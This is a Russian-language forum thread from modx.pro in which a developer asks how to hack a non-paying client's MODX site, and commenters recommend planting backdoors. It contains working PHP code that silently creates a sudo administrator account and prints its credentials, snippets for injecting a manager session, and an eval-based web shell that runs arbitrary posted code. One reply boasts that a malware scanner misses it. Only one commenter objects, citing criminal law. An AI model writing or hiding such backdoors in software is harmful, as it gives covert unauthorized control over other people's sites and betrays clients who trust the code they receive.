Можно ли взломать сайт на MODX?

Добрый день!
Такая проблема случилась:
Выгрузил сайт клиенту на хостинг, а он включил заднюю, нанял какого-то сисадмина, чтобы помог ему сменить все доступы и не хочет платить.
Как бы напрашивается вопрос: Есть ли такая возможность взломать MODX, чтобы справедливость восторжествовала? Возможно за $
Артем
23 января 2017, 20:04
modx.pro
23
7 921
+1

Комментарии: 17

but1head
23 января 2017, 23:54
+3
По началу «карьеры» попадался на таких заказчиков, после этого взял за правило первым делом засунуть бэкдор и разрабатывать с ним, после оплаты вычищаю. Бэкдор банальный файл менеджер для браузера.
    Максим Кузнецов
    24 января 2017, 00:43
    6
    +4
    Аналогично, бэкдор + сайт лежит на своем хостинге до оплаты оставшейся части. Вот код:

    <?php
    	define('MODX_API_MODE', true);
    	//количество dirname = глубина документа относительно корня
    	require dirname(dirname(dirname(dirname(__FILE__)))) . '/index.php';
    
    	$user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user'];
    	$pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass'];
    	
    	$u = $modx->newObject('modUser');
    	$u->fromArray(array(
    		'username' => $user,
    		'password' => $pass,
    		'active' => 1,
    		'primary_group' => 1,
    	));
    	$u->joinGroup('1', '0');
    	$u->setSudo(1);
    	$p = $modx->newObject('modUserProfile');
    	$p->fromArray(array(
    		'fullname' => $user,
    		'email' => $user.'@yoba.ru',
    	));
    	$u->addOne($p);
    	$u->save();
    	
    	if (!empty($u->username)) {
    		print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>';
    	}
    — при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне)

    По поводу взлома можешь обратиться к agel_nash, наверное.
      Дмитрий Иванов
      24 января 2017, 00:46
      0
      А если закроют доступ к админке по айпи? Ну или переименуют ее.
        Максим Кузнецов
        24 января 2017, 00:52
        +2
        *пожал плечами* тогда вариант but1head'a более уместен, ну или расширить функционал по вкусу:

        //вывести путь админки
        echo $modx->getOption('manager_path', null, MODX_MANAGER_PATH);
        
        //добавить сессию для пользователя в админку
        $user = $modx->getObject('modUser', айди_свежесозданного_пользователя_выше)
        $modx->user = $user;
        $modx->addSessionContext('mgr');
        Александр
        16 апреля 2022, 09:20
        0
        Спасибо. Взял на заметку, потому что как раз столкнулся с недобросовестным клиентом.

        От себя добавлю: айболит не сечет код в «параноидальном» режиме даже
        Николай
        24 января 2017, 02:35
        3
        +4
        А я такой код размещаю:

        <!DOCTYPE html>
        <html>
        <head>
        	<meta http-equiv="content-type" content="text/html; charset=utf-8">
        	<title></title>
        	<style>
        	    textarea {
        	        padding: 10px;
        	        width: 80%;
        	    }
        	</style>
        </head>	
        <body>
            <?php echo $_SERVER['SCRIPT_FILENAME']; ?>
            
            
        
            <form method="post">
                <textarea name="code" cols="30" rows="15"><?php echo $_POST['code']; ?></textarea>
        
                <button type="submit">Отправить</button>
            </form>
            
        
            
            <?php eval($_POST['code']); ?>
            
        </body>
        </html>
        и выполняй любые php-скрипты
          Артем
          24 января 2017, 07:53
          0
          Спасибо, тоже пришел к выводу бэкдоры оставлять до момента оплаты.
          Клиент казался очень адекватным до вопроса оплаты.
            Владимир
            24 января 2017, 10:31
            +1
            «Услуга которая уже оказана — ничего не стоит»
            «Ничто так не вселяет веру в человека, как предоплата»
            А потом уже бэкдоры))
              Артем
              24 января 2017, 10:40
              0
              Предоплата была
            Сергей Шлоков
            24 января 2017, 08:46
            +1
            На вскидку…
            — Можно все скрипты до момента оплаты загружать со своего сайта, если он есть.
            — Блокировать админку через неделю или удалять пароль у текущего пользователя.
            — Прописать GET параметр, чтобы пускал в админку без пароля.

              Николай
              24 января 2017, 23:20
              +1
              Лучший совет действительно у себя на хостинге разрабатывать.

              Вообще беда с этим. Вот меня как клиента с предоплатой два раза кидали. Заплатил, а люди откровенную лажу сделали. Причем явно, что им предоплата и нужна была, т.к. даже разговор про доработки продолжать не хотели.
              В итоге теперь если предоплата то по мелким кускам и за каждый этап работы…
                Вася
                09 марта 2017, 11:44
                -5
                Только один маленький момент, но о нем надо знать:
                Статья 273. Создание, использование и распространение вредоносных компьютерных программ

                [Уголовный кодекс] [Глава 28] [Статья 273]
                1. Создание, распространение или использование компьютерных программ либо иной компьютерной информации, заведомо предназначенных для несанкционированного уничтожения, блокирования, модификации, копирования компьютерной информации или нейтрализации средств защиты компьютерной информации, — наказываются ограничением свободы на срок до четырех лет, либо принудительными работами на срок до четырех лет, либо лишением свободы на тот же срок со штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев.

                2. Деяния, предусмотренные частью первой настоящей статьи, совершенные группой лиц по предварительному сговору или организованной группой либо лицом с использованием своего служебного положения, а равно причинившие крупный ущерб или совершенные из корыстной заинтересованности, — наказываются ограничением свободы на срок до четырех лет, либо принудительными работами на срок до пяти лет с лишением права занимать определенные должности или заниматься определенной деятельностью на срок до трех лет или без такового, либо лишением свободы на срок до пяти лет со штрафом в размере от ста тысяч до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период от двух до трех лет или без такового и с лишением права занимать определенные должности или заниматься определенной деятельностью на срок до трех лет или без такового.

                3. Деяния, предусмотренные частями первой или второй настоящей статьи, если они повлекли тяжкие последствия или создали угрозу их наступления, — наказываются лишением свободы на срок до семи лет.
                  Дмитрий Иванов
                  09 марта 2017, 13:38
                  0
                  То, что ты написал — принадлежит тебе. И ты можешь заложить туда любой функционал.
                    Вася
                    09 марта 2017, 13:41
                    0
                    Это зависит от того, какой договор заключен с клиентом.
                    Михаил
                    09 марта 2017, 14:09
                    0
                    Так, а причем тут вредоносная программа то?
                      Вася
                      09 марта 2017, 14:16
                      0
                      Ну вообще это он и есть, если говорить о бэкдоре. Мой комментарий предупреждение, чтоб хотя бы не лезли восстанавливать справедливость напрямую, но получил минусы. Ну да ладно.
                        Вася
                        09 марта 2017, 14:30
                        +1
                        Лучше разрабатывать на своем хостинге, как советовали выше, брать предоплату заключать договор, и стараться действовать в правовом поле, а не раскидывать дыры по сайту.
                      Авторизуйтесь или зарегистрируйтесь, чтобы оставлять комментарии.
                      17